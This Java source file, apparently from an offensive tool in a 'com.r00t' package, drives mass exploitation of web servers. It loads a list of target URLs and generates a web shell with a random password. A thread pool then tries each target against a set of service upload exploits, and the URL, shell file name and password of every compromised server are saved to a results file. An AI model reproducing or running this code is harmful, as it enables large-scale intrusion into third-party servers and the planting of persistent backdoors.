content: package com.r00t.core;
  
  import com.r00t.model.ServiceConfig;
  import com.r00t.util.FileUtils;
  
  import java.io.*;
  import java.nio.charset.StandardCharsets;
  import java.nio.file.Files;
  import java.nio.file.Paths;
  import java.nio.file.StandardOpenOption;
  import java.text.SimpleDateFormat;
  import java.util.*;
  import java.util.concurrent.*;
  import java.util.concurrent.atomic.AtomicInteger;
  
  public class BatchScanExecutor {
      
      private final ExecutorService executorService;
      private final AtomicInteger completedTasks;
      private final AtomicInteger successfulTasks;
      private final List<ScanResult> results;
      private final Object resultsLock = new Object();
      private final String outputFilePath;
      private final int totalTargets;
      
      public BatchScanExecutor(int threadCount, String outputFilePath, int totalTargets) {
          this.executorService = Executors.newFixedThreadPool(threadCount);
          this.completedTasks = new AtomicInteger(0);
          this.successfulTasks = new AtomicInteger(0);
          this.results = Collections.synchronizedList(new ArrayList<>());
          this.outputFilePath = outputFilePath;
          this.totalTargets = totalTargets;
      }
      
      public List<ScanResult> executeBatchScan(String targetListPath, String inputFilePath) throws IOException {
          List<String> targets = loadTargets(targetListPath);
          System.out.println("Starting batch scan, target count: " + targets.size());
          
          initializeResultFile();
          
          byte[] originalContent = prepareFileContent(inputFilePath);
          byte[] zipOriginalContent = FileUtils.readAndCompressFile(inputFilePath, originalContent);
          
          List<Future<ScanResult>> futures = new ArrayList<>();
          for (String target : targets) {
              futures.add(executorService.submit(() -> scanTarget(target, originalContent, zipOriginalContent)));
          }
          
          for (Future<ScanResult> future : futures) {
              try {
                  ScanResult result = future.get();
                  synchronized (resultsLock) {
                      results.add(result);
                  }
                  completedTasks.incrementAndGet();
                  if (result.isSuccess()) {
                      successfulTasks.incrementAndGet();
                  }
                  
                  saveResultRealtime(result);
                  
                  int completed = completedTasks.get();
                  int total = targets.size();
                  System.out.printf("Progress: %d/%d (%.1f%%) - Success: %d%n", 
                      completed, total, (completed * 100.0 / total), successfulTasks.get());
                  
              } catch (InterruptedException | ExecutionException e) {
                  System.err.println("Task execution exception: " + e.getMessage());
              }
          }
          
          finalizeResultFile();
          executorService.shutdown();
          return new ArrayList<>(results);
      }
      
      private List<String> loadTargets(String targetListPath) throws IOException {
          List<String> targets = new ArrayList<>();
          try (BufferedReader reader = Files.newBufferedReader(Paths.get(targetListPath), StandardCharsets.UTF_8)) {
              String line;
              while ((line = reader.readLine()) != null) {
                  line = line.trim();
                  if (!line.isEmpty() && !line.startsWith("#")) {
                      if (!line.startsWith("http://") && !line.startsWith("https://")) {
                          line = "http://" + line;
                      }
                      targets.add(line);
                  }
              }
          }
          return targets;
      }
      
      private byte[] prepareFileContent(String inputFilePath) throws IOException {
          if (inputFilePath != null && !inputFilePath.isEmpty()) {
              return FileUtils.readFile(inputFilePath);
          } else {
              ExploitExecutor executor = new ExploitExecutor();
              return FileUtils.generateWebShell(executor.getRandomPassword()).getBytes();
          }
      }
      
      private ScanResult scanTarget(String target, byte[] originalContent, byte[] zipOriginalContent) {
          ScanResult result = new ScanResult(target);
          
          try {
              ExploitExecutor executor = new ExploitExecutor();
              for (ServiceConfig serviceConfig : ServiceConfig.getAllServiceConfigs()) {
                  byte[] contentToUse = serviceConfig.isWriteDocToXMLFileMethod() ? originalContent : zipOriginalContent;
                  if (executor.executeExploit(null, target, serviceConfig, contentToUse)) {
                      result.setSuccess(true);
                      result.setServiceName(serviceConfig.getServiceName());
                      result.setMethodName(serviceConfig.getMethodName());
                      result.setFileName(executor.getRandomFileName());
                      result.setPassword(executor.getRandomPassword());
                      break;
                  }
              }
          } catch (Exception e) {
              result.setErrorMessage("Scan exception: " + e.getMessage());
          }
          
          return result;
      }
      
      private void initializeResultFile() throws IOException {
          if (outputFilePath == null || outputFilePath.isEmpty()) return;
          
          try (PrintWriter writer = new PrintWriter(Files.newBufferedWriter(Paths.get(outputFilePath), StandardCharsets.UTF_8))) {
              writer.println("# Batch Scan Results - Only Successful Targets Saved");
              writer.println("# Scan start time: " + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()));
              writer.println("# Total targets: " + totalTargets);
              writer.println("# Status: Scanning...");
              writer.println();
              writer.println("# Successful targets list:");
              writer.println();
          }
      }
      
      private void saveResultRealtime(ScanResult result) {
          if (outputFilePath == null || outputFilePath.isEmpty() || !result.isSuccess()) return;
          
          try (PrintWriter writer = new PrintWriter(Files.newBufferedWriter(Paths.get(outputFilePath), StandardCharsets.UTF_8, StandardOpenOption.APPEND))) {
              int completed = completedTasks.get();
              int successful = successfulTasks.get();
              
              writer.println("# Successful target [" + completed + "/" + totalTargets + "]: " + result.getTarget());
              writer.println("URL: " + result.getTarget());
              writer.println("Service: " + result.getServiceName());
              writer.println("Method: " + result.getMethodName());
              writer.println("File: " + result.getFileName());
              if (result.getPassword() != null) {
                  writer.println("Password: " + result.getPassword());
              }
              writer.println("Scan time: " + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()));
              writer.println();
              writer.println("# Current progress: " + completed + "/" + totalTargets + " (Success: " + successful + ")");
              writer.println();
          } catch (IOException e) {
              System.err.println("Failed to save result file: " + e.getMessage());
          }
      }
      
      private void finalizeResultFile() {
          if (outputFilePath == null || outputFilePath.isEmpty()) return;
          
          try (PrintWriter writer = new PrintWriter(Files.newBufferedWriter(Paths.get(outputFilePath), StandardCharsets.UTF_8, StandardOpenOption.APPEND))) {
              writer.println("# ===== Scan Completed =====");
              writer.println("# Scan end time: " + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()));
              writer.println("# Total targets: " + totalTargets);
              writer.println("# Successful: " + successfulTasks.get());
              if (successfulTasks.get() > 0) {
                  writer.println("# Success rate: " + String.format("%.1f%%", (successfulTasks.get() * 100.0 / totalTargets)));
              } else {
                  writer.println("# Success rate: 0.0%");
              }
          } catch (IOException e) {
              System.err.println("Failed to update final statistics: " + e.getMessage());
          }
      }
      
      public void saveResults(List<ScanResult> results, String outputFilePath) throws IOException {
          if (outputFilePath == null || outputFilePath.isEmpty()) return;
          
          try (PrintWriter writer = new PrintWriter(Files.newBufferedWriter(Paths.get(outputFilePath), StandardCharsets.UTF_8))) {
              writer.println("# Batch Scan Results");
              writer.println("# Scan time: " + new Date());
              writer.println("# Total targets: " + results.size());
              writer.println("# Successful: " + results.stream().mapToInt(r -> r.isSuccess() ? 1 : 0).sum());
              writer.println();
              
              for (ScanResult result : results) {
                  if (result.isSuccess()) {
                      writer.println("# Successful target: " + result.getTarget());
                      writer.println("URL: " + result.getTarget());
                      writer.println("Service: " + result.getServiceName());
                      writer.println("Method: " + result.getMethodName());
                      writer.println("File: " + result.getFileName());
                      if (result.getPassword() != null) {
                          writer.println("Password: " + result.getPassword());
                      }
                      writer.println();
                  }
              }
              
              writer.println("# Failed targets:");
              for (ScanResult result : results) {
                  if (!result.isSuccess()) {
                      writer.println(result.getTarget() + " - " + result.getErrorMessage());
                  }
              }
          }
      }
      
      public static class ScanResult {
          private final String target;
          private boolean success;
          private String serviceName;
          private String methodName;
          private String fileName;
          private String password;
          private String errorMessage;
          
          public ScanResult(String target) {
              this.target = target;
              this.success = false;
          }
          
          public String getTarget() { return target; }
          public boolean isSuccess() { return success; }
          public void setSuccess(boolean success) { this.success = success; }
          public String getServiceName() { return serviceName; }
          public void setServiceName(String serviceName) { this.serviceName = serviceName; }
          public String getMethodName() { return methodName; }
          public void setMethodName(String methodName) { this.methodName = methodName; }
          public String getFileName() { return fileName; }
          public void setFileName(String fileName) { this.fileName = fileName; }
          public String getPassword() { return password; }
          public void setPassword(String password) { this.password = password; }
          public String getErrorMessage() { return errorMessage; }
          public void setErrorMessage(String errorMessage) { this.errorMessage = errorMessage; }
      }
  }
  